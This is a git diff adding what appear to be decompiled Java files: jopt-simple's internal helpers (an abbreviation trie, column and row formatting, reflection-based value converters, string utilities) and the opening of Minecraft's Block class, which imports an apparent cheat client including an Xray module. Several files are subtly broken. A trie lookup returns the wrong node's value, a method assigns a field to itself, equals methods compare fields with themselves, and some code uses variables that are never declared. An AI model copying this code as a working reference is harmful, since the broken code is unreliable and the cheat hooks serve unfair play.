+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AbbreviationMap<V>
+{
+  private String key;
+  private V value;
+  private final Map<Character, AbbreviationMap<V>> children = new TreeMap();
+  
+
+  private int keysBeyond;
+  
+
+
+  public AbbreviationMap() {}
+  
+
+  public boolean contains(String aKey)
+  {
+    return get(aKey) != null;
+  }
+  
+
+
+
+
+
+
+
+
+  public V get(String aKey)
+  {
+    char[] chars = charsOf(aKey);
+    
+    AbbreviationMap<V> child = this;
+    for (char each : chars) {
+      child = (AbbreviationMap)children.get(Character.valueOf(each));
+      if (child == null) {
+        return null;
+      }
+    }
+    return value;
+  }
+  
+
+
+
+
+
+
+
+
+  public void put(String aKey, V newValue)
+  {
+    if (newValue == null)
+      throw new NullPointerException();
+    if (aKey.length() == 0) {
+      throw new IllegalArgumentException();
+    }
+    char[] chars = charsOf(aKey);
+    add(chars, newValue, 0, chars.length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void putAll(Iterable<String> keys, V newValue)
+  {
+    for (String each : keys)
+      put(each, newValue);
+  }
+  
+  private boolean add(char[] chars, V newValue, int offset, int length) {
+    if (offset == length) {
+      value = newValue;
+      boolean wasAlreadyAKey = key != null;
+      key = new String(chars);
+      return !wasAlreadyAKey;
+    }
+    
+    char nextChar = chars[offset];
+    AbbreviationMap<V> child = (AbbreviationMap)children.get(Character.valueOf(nextChar));
+    if (child == null) {
+      child = new AbbreviationMap();
+      children.put(Character.valueOf(nextChar), child);
+    }
+    
+    boolean newKeyAdded = child.add(chars, newValue, offset + 1, length);
+    
+    if (newKeyAdded) {
+      keysBeyond += 1;
+    }
+    if (key == null) {
+      value = (keysBeyond > 1 ? null : newValue);
+    }
+    return newKeyAdded;
+  }
+  
+
+
+
+
+
+
+  public void remove(String aKey)
+  {
+    if (aKey.length() == 0) {
+      throw new IllegalArgumentException();
+    }
+    char[] keyChars = charsOf(aKey);
+    remove(keyChars, 0, keyChars.length);
+  }
+  
+  private boolean remove(char[] aKey, int offset, int length) {
+    if (offset == length) {
+      return removeAtEndOfKey();
+    }
+    char nextChar = aKey[offset];
+    AbbreviationMap<V> child = (AbbreviationMap)children.get(Character.valueOf(nextChar));
+    if ((child == null) || (!child.remove(aKey, offset + 1, length))) {
+      return false;
+    }
+    keysBeyond -= 1;
+    if (keysBeyond == 0)
+      children.remove(Character.valueOf(nextChar));
+    if ((keysBeyond == 1) && (key == null)) {
+      setValueToThatOfOnlyChild();
+    }
+    return true;
+  }
+  
+  private void setValueToThatOfOnlyChild() {
+    Map.Entry<Character, AbbreviationMap<V>> entry = (Map.Entry)children.entrySet().iterator().next();
+    AbbreviationMap<V> onlyChild = (AbbreviationMap)entry.getValue();
+    value = value;
+  }
+  
+  private boolean removeAtEndOfKey() {
+    if (key == null) {
+      return false;
+    }
+    key = null;
+    if (keysBeyond == 1) {
+      setValueToThatOfOnlyChild();
+    } else {
+      value = null;
+    }
+    return true;
+  }
+  
+
+
+
+
+  public Map<String, V> toJavaUtilMap()
+  {
+    Map<String, V> mappings = new TreeMap();
+    addToMappings(mappings);
+    return mappings;
+  }
+  
+  private void addToMappings(Map<String, V> mappings) {
+    if (key != null) {
+      mappings.put(key, value);
+    }
+    for (AbbreviationMap<V> each : children.values())
+      each.addToMappings(mappings);
+  }
+  
+  private static char[] charsOf(String aKey) {
+    char[] chars = new char[aKey.length()];
+    aKey.getChars(0, aKey.length(), chars, 0);
+    return chars;
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/Classes.java b/src/minecraft/joptsimple/internal/Classes.java
new file mode 100644
index 0000000..137ba67
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/Classes.java
@@ -0,0 +1,75 @@
+package joptsimple.internal;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Classes
+{
+  private static final Map<Class<?>, Class<?>> WRAPPERS = new HashMap(13);
+  
+  static {
+    WRAPPERS.put(Boolean.TYPE, Boolean.class);
+    WRAPPERS.put(Byte.TYPE, Byte.class);
+    WRAPPERS.put(Character.TYPE, Character.class);
+    WRAPPERS.put(Double.TYPE, Double.class);
+    WRAPPERS.put(Float.TYPE, Float.class);
+    WRAPPERS.put(Integer.TYPE, Integer.class);
+    WRAPPERS.put(Long.TYPE, Long.class);
+    WRAPPERS.put(Short.TYPE, Short.class);
+    WRAPPERS.put(Void.TYPE, Void.class);
+  }
+  
+  private Classes() {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+  public static String shortNameOf(String className)
+  {
+    return className.substring(className.lastIndexOf('.') + 1);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> Class<T> wrapperOf(Class<T> clazz)
+  {
+    return clazz.isPrimitive() ? (Class)WRAPPERS.get(clazz) : clazz;
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/Columns.java b/src/minecraft/joptsimple/internal/Columns.java
new file mode 100644
index 0000000..52456a0
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/Columns.java
@@ -0,0 +1,107 @@
+package joptsimple.internal;
+
+import java.text.BreakIterator;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Columns
+{
+  private static final int INDENT_WIDTH = 2;
+  private final int optionWidth;
+  private final int descriptionWidth;
+  
+  Columns(int optionWidth, int descriptionWidth)
+  {
+    this.optionWidth = optionWidth;
+    this.descriptionWidth = descriptionWidth;
+  }
+  
+  List<Row> fit(Row row) {
+    List<String> options = piecesOf(option, optionWidth);
+    List<String> descriptions = piecesOf(description, descriptionWidth);
+    
+    List<Row> rows = new ArrayList();
+    for (int i = 0; i < Math.max(options.size(), descriptions.size()); i++) {
+      rows.add(new Row(itemOrEmpty(options, i), itemOrEmpty(descriptions, i)));
+    }
+    return rows;
+  }
+  
+  private static String itemOrEmpty(List<String> items, int index) {
+    return index >= items.size() ? "" : (String)items.get(index);
+  }
+  
+  private List<String> piecesOf(String raw, int width) {
+    List<String> pieces = new ArrayList();
+    
+    for (String each : raw.trim().split(Strings.LINE_SEPARATOR)) {
+      pieces.addAll(piecesOfEmbeddedLine(each, width));
+    }
+    return pieces;
+  }
+  
+  private List<String> piecesOfEmbeddedLine(String line, int width) {
+    List<String> pieces = new ArrayList();
+    
+    BreakIterator words = BreakIterator.getLineInstance(Locale.US);
+    words.setText(line);
+    
+    StringBuilder nextPiece = new StringBuilder();
+    
+    int start = words.first();
+    for (int end = words.next(); end != -1; end = words.next()) {
+      nextPiece = processNextWord(line, nextPiece, start, end, width, pieces);start = end;
+    }
+    if (nextPiece.length() > 0) {
+      pieces.add(nextPiece.toString());
+    }
+    return pieces;
+  }
+  
+  private StringBuilder processNextWord(String source, StringBuilder nextPiece, int start, int end, int width, List<String> pieces)
+  {
+    StringBuilder augmented = nextPiece;
+    
+    String word = source.substring(start, end);
+    if (augmented.length() + word.length() > width) {
+      pieces.add(augmented.toString().replaceAll("\\s+$", ""));
+      augmented = new StringBuilder(Strings.repeat(' ', 2)).append(word);
+    }
+    else {
+      augmented.append(word);
+    }
+    return augmented;
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/ConstructorInvokingValueConverter.java b/src/minecraft/joptsimple/internal/ConstructorInvokingValueConverter.java
new file mode 100644
index 0000000..45a9090
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/ConstructorInvokingValueConverter.java
@@ -0,0 +1,56 @@
+package joptsimple.internal;
+
+import java.lang.reflect.Constructor;
+import joptsimple.ValueConverter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ConstructorInvokingValueConverter<V>
+  implements ValueConverter<V>
+{
+  private final Constructor<V> ctor;
+  
+  ConstructorInvokingValueConverter(Constructor<V> ctor)
+  {
+    this.ctor = ctor;
+  }
+  
+  public V convert(String value) {
+    return Reflection.instantiate(ctor, new Object[] { value });
+  }
+  
+  public Class<V> valueType() {
+    return ctor.getDeclaringClass();
+  }
+  
+  public String valuePattern() {
+    return null;
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/MethodInvokingValueConverter.java b/src/minecraft/joptsimple/internal/MethodInvokingValueConverter.java
new file mode 100644
index 0000000..b66af4c
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/MethodInvokingValueConverter.java
@@ -0,0 +1,58 @@
+package joptsimple.internal;
+
+import java.lang.reflect.Method;
+import joptsimple.ValueConverter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class MethodInvokingValueConverter<V>
+  implements ValueConverter<V>
+{
+  private final Method method;
+  private final Class<V> clazz;
+  
+  MethodInvokingValueConverter(Method method, Class<V> clazz)
+  {
+    this.method = method;
+    this.clazz = clazz;
+  }
+  
+  public V convert(String value) {
+    return clazz.cast(Reflection.invoke(method, new Object[] { value }));
+  }
+  
+  public Class<V> valueType() {
+    return clazz;
+  }
+  
+  public String valuePattern() {
+    return null;
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/Objects.java b/src/minecraft/joptsimple/internal/Objects.java
new file mode 100644
index 0000000..01448b3
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/Objects.java
@@ -0,0 +1,47 @@
+package joptsimple.internal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Objects
+{
+  private Objects()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+  public static void ensureNotNull(Object target)
+  {
+    if (target == null) {
+      throw new NullPointerException();
+    }
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/Reflection.java b/src/minecraft/joptsimple/internal/Reflection.java
new file mode 100644
index 0000000..bb3f0e2
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/Reflection.java
@@ -0,0 +1,146 @@
+package joptsimple.internal;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import joptsimple.ValueConverter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Reflection
+{
+  private Reflection()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  public static <V> ValueConverter<V> findConverter(Class<V> clazz)
+  {
+    Class<V> maybeWrapper = Classes.wrapperOf(clazz);
+    
+    ValueConverter<V> valueOf = valueOfConverter(maybeWrapper);
+    if (valueOf != null) {
+      return valueOf;
+    }
+    ValueConverter<V> constructor = constructorConverter(maybeWrapper);
+    if (constructor != null) {
+      return constructor;
+    }
+    throw new IllegalArgumentException(clazz + " is not a value type");
+  }
+  
+  private static <V> ValueConverter<V> valueOfConverter(Class<V> clazz) {
+    try {
+      Method valueOf = clazz.getDeclaredMethod("valueOf", new Class[] { String.class });
+      if (meetsConverterRequirements(valueOf, clazz)) {
+        return new MethodInvokingValueConverter(valueOf, clazz);
+      }
+      return null;
+    }
+    catch (NoSuchMethodException ignored) {}
+    return null;
+  }
+  
+  private static <V> ValueConverter<V> constructorConverter(Class<V> clazz)
+  {
+    try {
+      return new ConstructorInvokingValueConverter(clazz.getConstructor(new Class[] { String.class }));
+    }
+    catch (NoSuchMethodException ignored) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> T instantiate(Constructor<T> constructor, Object... args)
+  {
+    try
+    {
+      return constructor.newInstance(args);
+    }
+    catch (Exception ex) {
+      throw reflectionException(ex);
+    }
+  }
+  
+
+
+
+
+
+
+  public static Object invoke(Method method, Object... args)
+  {
+    try
+    {
+      return method.invoke(null, args);
+    }
+    catch (Exception ex) {
+      throw reflectionException(ex);
+    }
+  }
+  
+  public static <V> V convertWith(ValueConverter<V> converter, String raw)
+  {
+    return converter == null ? raw : converter.convert(raw);
+  }
+  
+  private static boolean meetsConverterRequirements(Method method, Class<?> expectedReturnType) {
+    int modifiers = method.getModifiers();
+    return (Modifier.isPublic(modifiers)) && (Modifier.isStatic(modifiers)) && (expectedReturnType.equals(method.getReturnType()));
+  }
+  
+  private static RuntimeException reflectionException(Exception ex) {
+    if ((ex instanceof IllegalArgumentException))
+      return new ReflectionException(ex);
+    if ((ex instanceof InvocationTargetException))
+      return new ReflectionException(ex.getCause());
+    if ((ex instanceof RuntimeException)) {
+      return (RuntimeException)ex;
+    }
+    return new ReflectionException(ex);
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/ReflectionException.java b/src/minecraft/joptsimple/internal/ReflectionException.java
new file mode 100644
index 0000000..00a4cca
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/ReflectionException.java
@@ -0,0 +1,39 @@
+package joptsimple.internal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ReflectionException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = -2L;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  ReflectionException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/Row.java b/src/minecraft/joptsimple/internal/Row.java
new file mode 100644
index 0000000..d65ab91
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/Row.java
@@ -0,0 +1,55 @@
+package joptsimple.internal;
+
+
+
+
+
+
+
+
+
+
+class Row
+{
+  final String option;
+  
+
+
+
+
+
+
+
+
+  final String description;
+  
+
+
+
+
+
+
+
+
+  Row(String option, String description)
+  {
+    this.option = option;
+    this.description = description;
+  }
+  
+  public boolean equals(Object that)
+  {
+    if (that == this)
+      return true;
+    if ((that == null) || (!getClass().equals(that.getClass()))) {
+      return false;
+    }
+    Row other = (Row)that;
+    return (option.equals(option)) && (description.equals(description));
+  }
+  
+  public int hashCode()
+  {
+    return option.hashCode() ^ description.hashCode();
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/Rows.java b/src/minecraft/joptsimple/internal/Rows.java
new file mode 100644
index 0000000..30a8cc9
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/Rows.java
@@ -0,0 +1,102 @@
+package joptsimple.internal;
+
+import java.util.LinkedHashSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Rows
+{
+  private final int overallWidth;
+  private final int columnSeparatorWidth;
+  private final Set<Row> rows = new LinkedHashSet();
+  private int widthOfWidestOption;
+  private int widthOfWidestDescription;
+  
+  public Rows(int overallWidth, int columnSeparatorWidth) {
+    this.overallWidth = overallWidth;
+    this.columnSeparatorWidth = columnSeparatorWidth;
+  }
+  
+  public void add(String option, String description) {
+    add(new Row(option, description));
+  }
+  
+  private void add(Row row) {
+    rows.add(row);
+    widthOfWidestOption = Math.max(widthOfWidestOption, option.length());
+    widthOfWidestDescription = Math.max(widthOfWidestDescription, description.length());
+  }
+  
+  private void reset() {
+    rows.clear();
+    widthOfWidestOption = 0;
+    widthOfWidestDescription = 0;
+  }
+  
+  public void fitToWidth() {
+    Columns columns = new Columns(optionWidth(), descriptionWidth());
+    
+    Set<Row> fitted = new LinkedHashSet();
+    for (Row each : rows) {
+      fitted.addAll(columns.fit(each));
+    }
+    reset();
+    
+    for (Row each : fitted)
+      add(each);
+  }
+  
+  public String render() {
+    StringBuilder buffer = new StringBuilder();
+    
+    for (Row each : rows) {
+      pad(buffer, option, optionWidth()).append(Strings.repeat(' ', columnSeparatorWidth));
+      pad(buffer, description, descriptionWidth()).append(Strings.LINE_SEPARATOR);
+    }
+    
+    return buffer.toString();
+  }
+  
+  private int optionWidth() {
+    return Math.min((overallWidth - columnSeparatorWidth) / 2, widthOfWidestOption);
+  }
+  
+  private int descriptionWidth() {
+    return Math.min((overallWidth - columnSeparatorWidth) / 2, widthOfWidestDescription);
+  }
+  
+  private StringBuilder pad(StringBuilder buffer, String s, int length) {
+    buffer.append(s).append(Strings.repeat(' ', length - s.length()));
+    return buffer;
+  }
+}
diff --git a/src/minecraft/joptsimple/internal/Strings.java b/src/minecraft/joptsimple/internal/Strings.java
new file mode 100644
index 0000000..1530ae9
--- /dev/null
+++ b/src/minecraft/joptsimple/internal/Strings.java
@@ -0,0 +1,117 @@
+package joptsimple.internal;
+
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Strings
+{
+  public static final String EMPTY = "";
+  public static final String SINGLE_QUOTE = "'";
+  public static final String LINE_SEPARATOR = System.getProperty("line.separator");
+  
+  private Strings() {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  public static String repeat(char ch, int count)
+  {
+    StringBuilder buffer = new StringBuilder();
+    
+    for (int i = 0; i < count; i++) {
+      buffer.append(ch);
+    }
+    return buffer.toString();
+  }
+  
+
+
+
+
+
+  public static boolean isNullOrEmpty(String target)
+  {
+    return (target == null) || ("".equals(target));
+  }
+  
+
+
+
+
+
+
+
+
+  public static String surround(String target, char begin, char end)
+  {
+    return begin + target + end;
+  }
+  
+
+
+
+
+
+
+
+  public static String join(String[] pieces, String separator)
+  {
+    return join(Arrays.asList(pieces), separator);
+  }
+  
+
+
+
+
+
+
+
+  public static String join(List<String> pieces, String separator)
+  {
+    StringBuilder buffer = new StringBuilder();
+    
+    for (Iterator<String> iter = pieces.iterator(); iter.hasNext();) {
+      buffer.append((String)iter.next());
+      
+      if (iter.hasNext()) {
+        buffer.append(separator);
+      }
+    }
+    return buffer.toString();
+  }
+}
diff --git a/src/minecraft/joptsimple/util/DateConverter.java b/src/minecraft/joptsimple/util/DateConverter.java
new file mode 100644
index 0000000..f3c2d4d
--- /dev/null
+++ b/src/minecraft/joptsimple/util/DateConverter.java
@@ -0,0 +1,100 @@
+package joptsimple.util;
+
+import java.text.DateFormat;
+import java.text.ParsePosition;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import joptsimple.ValueConversionException;
+import joptsimple.ValueConverter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DateConverter
+  implements ValueConverter<Date>
+{
+  private final DateFormat formatter;
+  
+  public DateConverter(DateFormat formatter)
+  {
+    if (formatter == null) {
+      throw new NullPointerException("illegal null formatter");
+    }
+    this.formatter = formatter;
+  }
+  
+
+
+
+
+
+
+
+
+  public static DateConverter datePattern(String pattern)
+  {
+    SimpleDateFormat formatter = new SimpleDateFormat(pattern);
+    formatter.setLenient(false);
+    
+    return new DateConverter(formatter);
+  }
+  
+  public Date convert(String value) {
+    ParsePosition position = new ParsePosition(0);
+    
+    Date date = formatter.parse(value, position);
+    if (position.getIndex() != value.length()) {
+      throw new ValueConversionException(message(value));
+    }
+    return date;
+  }
+  
+  public Class<Date> valueType() {
+    return Date.class;
+  }
+  
+  public String valuePattern() {
+    return (formatter instanceof SimpleDateFormat) ? ((SimpleDateFormat)formatter).toPattern() : "";
+  }
+  
+
+  private String message(String value)
+  {
+    String message = "Value [" + value + "] does not match date/time pattern";
+    if ((formatter instanceof SimpleDateFormat)) {
+      message = message + " [" + ((SimpleDateFormat)formatter).toPattern() + ']';
+    }
+    return message;
+  }
+}
diff --git a/src/minecraft/joptsimple/util/InetAddressConverter.java b/src/minecraft/joptsimple/util/InetAddressConverter.java
new file mode 100644
index 0000000..56b7314
--- /dev/null
+++ b/src/minecraft/joptsimple/util/InetAddressConverter.java
@@ -0,0 +1,55 @@
+package joptsimple.util;
+
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import joptsimple.ValueConversionException;
+import joptsimple.ValueConverter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class InetAddressConverter
+  implements ValueConverter<InetAddress>
+{
+  public InetAddressConverter() {}
+  
+  public InetAddress convert(String value)
+  {
+    try
+    {
+      return InetAddress.getByName(value);
+    } catch (UnknownHostException e) {
+      throw new ValueConversionException("Cannot convert value [" + value + " into an InetAddress", e);
+    }
+  }
+  
+  public Class<InetAddress> valueType() {
+    return InetAddress.class;
+  }
+  
+  public String valuePattern() {
+    return null;
+  }
+}
diff --git a/src/minecraft/joptsimple/util/KeyValuePair.java b/src/minecraft/joptsimple/util/KeyValuePair.java
new file mode 100644
index 0000000..6fdf4c2
--- /dev/null
+++ b/src/minecraft/joptsimple/util/KeyValuePair.java
@@ -0,0 +1,83 @@
+package joptsimple.util;
+
+
+
+
+
+
+
+
+
+
+
+
+public final class KeyValuePair
+{
+  public final String key;
+  
+
+
+
+
+
+
+
+
+
+
+  public final String value;
+  
+
+
+
+
+
+
+
+
+
+
+
+  private KeyValuePair(String key, String value)
+  {
+    this.key = key;
+    this.value = value;
+  }
+  
+
+
+
+
+
+
+  public static KeyValuePair valueOf(String asString)
+  {
+    int equalsIndex = asString.indexOf('=');
+    if (equalsIndex == -1) {
+      return new KeyValuePair(asString, "");
+    }
+    String aKey = asString.substring(0, equalsIndex);
+    String aValue = equalsIndex == asString.length() - 1 ? "" : asString.substring(equalsIndex + 1);
+    
+    return new KeyValuePair(aKey, aValue);
+  }
+  
+  public boolean equals(Object that)
+  {
+    if (!(that instanceof KeyValuePair)) {
+      return false;
+    }
+    KeyValuePair other = (KeyValuePair)that;
+    return (key.equals(key)) && (value.equals(value));
+  }
+  
+  public int hashCode()
+  {
+    return key.hashCode() ^ value.hashCode();
+  }
+  
+  public String toString()
+  {
+    return key + '=' + value;
+  }
+}
diff --git a/src/minecraft/joptsimple/util/RegexMatcher.java b/src/minecraft/joptsimple/util/RegexMatcher.java
new file mode 100644
index 0000000..c47be39
--- /dev/null
+++ b/src/minecraft/joptsimple/util/RegexMatcher.java
@@ -0,0 +1,83 @@
+package joptsimple.util;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import joptsimple.ValueConversionException;
+import joptsimple.ValueConverter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RegexMatcher
+  implements ValueConverter<String>
+{
+  private final Pattern pattern;
+  
+  public RegexMatcher(String pattern, int flags)
+  {
+    this.pattern = Pattern.compile(pattern, flags);
+  }
+  
+
+
+
+
+
+
+  public static ValueConverter<String> regex(String pattern)
+  {
+    return new RegexMatcher(pattern, 0);
+  }
+  
+  public String convert(String value) {
+    if (!pattern.matcher(value).matches()) {
+      throw new ValueConversionException("Value [" + value + "] did not match regex [" + pattern.pattern() + ']');
+    }
+    
+
+    return value;
+  }
+  
+  public Class<String> valueType() {
+    return String.class;
+  }
+  
+  public String valuePattern() {
+    return pattern.pattern();
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/Block.java b/src/minecraft/net/minecraft/block/Block.java
new file mode 100644
index 0000000..e0c2e07
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/Block.java
@@ -0,0 +1,1573 @@
+package net.minecraft.block;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.events.misc.EventCollideWithBlock;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.render.Xray;
+import com.enjoytheban.utils.Helper;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.ObjectIntIdentityMap;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.StatCollector;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.Explosion;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class Block
+{
+  private static final ResourceLocation AIR_ID = new ResourceLocation("air");
+  public static final RegistryNamespacedDefaultedByKey blockRegistry = new RegistryNamespacedDefaultedByKey(AIR_ID);
+  public static final ObjectIntIdentityMap BLOCK_STATE_IDS = new ObjectIntIdentityMap();
+  private CreativeTabs displayOnCreativeTab;
+  public static final SoundType soundTypeStone = new SoundType("stone", 1.0F, 1.0F);
+  
+
+  public static final SoundType soundTypeWood = new SoundType("wood", 1.0F, 1.0F);
+  
+
+  public static final SoundType soundTypeGravel = new SoundType("gravel", 1.0F, 1.0F);
+  public static final SoundType soundTypeGrass = new SoundType("grass", 1.0F, 1.0F);
+  public static final SoundType soundTypePiston = new SoundType("stone", 1.0F, 1.0F);
+  public static final SoundType soundTypeMetal = new SoundType("stone", 1.0F, 1.5F);
+  public static final SoundType soundTypeGlass = new SoundType("stone", 1.0F, 1.0F)
+  {
+    private static final String __OBFID = "CL_00000200";
+    
+    public String getBreakSound() {
+      return "dig.glass";
+    }
+    
+    public String getPlaceSound() {
+      return "step.stone";
+    }
+  };
+  public static final SoundType soundTypeCloth = new SoundType("cloth", 1.0F, 1.0F);
+  public static final SoundType soundTypeSand = new SoundType("sand", 1.0F, 1.0F);
+  public static final SoundType soundTypeSnow = new SoundType("snow", 1.0F, 1.0F);
+  public static final SoundType soundTypeLadder = new SoundType("ladder", 1.0F, 1.0F)
+  {
+    private static final String __OBFID = "CL_00000201";
+    
+    public String getBreakSound() {
+      return "dig.wood";
+    }
+  };
+  public static final SoundType soundTypeAnvil = new SoundType("anvil", 0.3F, 1.0F)
+  {
+    private static final String __OBFID = "CL_00000202";
+    
+    public String getBreakSound() {
+      return "dig.stone";
+    }
+    
+    public String getPlaceSound() {
+      return "random.anvil_land";
+    }
+  };
+  public static final SoundType SLIME_SOUND = new SoundType("slime", 1.0F, 1.0F)
+  {
+    private static final String __OBFID = "CL_00002133";
+    
+    public String getBreakSound() {
+      return "mob.slime.big";
+    }
+    
+    public String getPlaceSound() {
+      return "mob.slime.big";
+    }
+    
+    public String getStepSound() {
+      return "mob.slime.small";
+    }
+  };
+  
+
+  protected boolean fullBlock;
+  
+
+  protected int lightOpacity;
+  
+  protected boolean translucent;
+  
+  protected int lightValue;
+  
+  protected boolean useNeighborBrightness;
+  
+  protected float blockHardness;
+  
+  protected float blockResistance;
+  
+  protected boolean enableStats = true;
+  
+  protected boolean needsRandomTick;
+  
+  protected boolean isBlockContainer;
+  
+  protected double minX;
+  
+  protected double minY;
+  
+  protected double minZ;
+  
+  protected double maxX;
+  
+  protected double maxY;
+  
+  protected double maxZ;
+  
+  public SoundType stepSound;
+  
+  public float blockParticleGravity;
+  
+  protected final Material blockMaterial;
+  
+  public float slipperiness;
+  
+  protected final BlockState blockState;
+  private IBlockState defaultBlockState;
+  private String unlocalizedName;
+  private static final String __OBFID = "CL_00000199";
+  
+  public static int getIdFromBlock(Block blockIn)
+  {
+    return blockRegistry.getIDForObject(blockIn);
+  }
+  
+
+
+
+  public static int getStateId(IBlockState state)
+  {
+    return getIdFromBlock(state.getBlock()) + (state.getBlock().getMetaFromState(state) << 12);
+  }
+  
+  public static Block getBlockById(int id)
+  {
+    return (Block)blockRegistry.getObjectById(id);
+  }
+  
+
+
+
+  public static IBlockState getStateById(int id)
+  {
+    int var1 = id & 0xFFF;
+    int var2 = id >> 12 & 0xF;
+    return getBlockById(var1).getStateFromMeta(var2);
+  }
+  
+  public static Block getBlockFromItem(Item itemIn)
+  {
+    return (itemIn instanceof ItemBlock) ? ((ItemBlock)itemIn).getBlock() : null;
+  }
+  
+  public static Block getBlockFromName(String name)
+  {
+    ResourceLocation var1 = new ResourceLocation(name);
+    
+    if (blockRegistry.containsKey(var1))
+    {
+      return (Block)blockRegistry.getObject(var1);
+    }
+    
+
+    try
+    {
+      return (Block)blockRegistry.getObjectById(Integer.parseInt(name));
+    }
+    catch (NumberFormatException var3) {}
+    
+    return null;
+  }
+  
+
+
+  public boolean isFullBlock()
+  {
+    return fullBlock;
+  }
+  
+  public int getLightOpacity()
+  {
+    return lightOpacity;
+  }
+  
+  public boolean isTranslucent()
+  {
+    return translucent;
+  }
+  
+  public int getLightValue()
+  {
+    return lightValue;
+  }
+  
+
+
+
+  public boolean getUseNeighborBrightness()
+  {
+    return useNeighborBrightness;
+  }
+  
+
+
+
+  public Material getMaterial()
+  {
+    return blockMaterial;
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return getMaterial().getMaterialMapColor();
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState();
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    if ((state != null) && (!state.getPropertyNames().isEmpty()))
+    {
+      throw new IllegalArgumentException("Don't know how to convert " + state + " back into data...");
+    }
+    
+
+    return 0;
+  }
+  
+
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    return state;
+  }
